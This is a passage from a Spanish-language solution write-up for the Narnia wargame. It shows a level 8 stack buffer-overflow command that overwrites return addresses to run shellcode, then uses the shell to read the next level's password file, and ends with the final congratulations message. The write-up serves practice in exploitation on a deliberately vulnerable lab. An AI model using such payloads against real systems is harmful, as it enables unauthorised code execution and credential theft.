0xffffd8df – 0x4 – 0x10 (16 en hex) = 0xffffd8cb

Y utilizando ahora la dirección anterior más la dirección en memoria de nuestra shellcode:

narnia8@melissa:/tmp$ /narnia/narnia8 $(python -c 'print "A" * 20 + "\xcb\xd8\xff\xff" + "A" * 12 + "\x02\xd9\xff\xff"')AAAAAAAAAAAAAAAAAAAAËØÿÿAAAAAAAAAAAAÙÿÿËØÿÿíþ÷ ô/ý÷

$ cat /etc/narnia_pass/narnia9lolololol

45

Page 46: Mi solución al wargame Narnia

46

Page 47: Mi solución al wargame Narnia

Nivel 9

Nos autentificamos en el sistema como el usuario narnia9 con la contraseña obtenida en el nivelanterior para obtener la felicitación correspondiente por haber superado todos los niveles delwargame:

narnia9@melissa:~$ ls -ltotal 4-r--r----- 1 narnia9 narnia9 27 2012-06-28 14:55 CONGRATULATIONSnarnia9@melissa:~$ cat CONGRATULATIONSyou are l33t! next plz...

47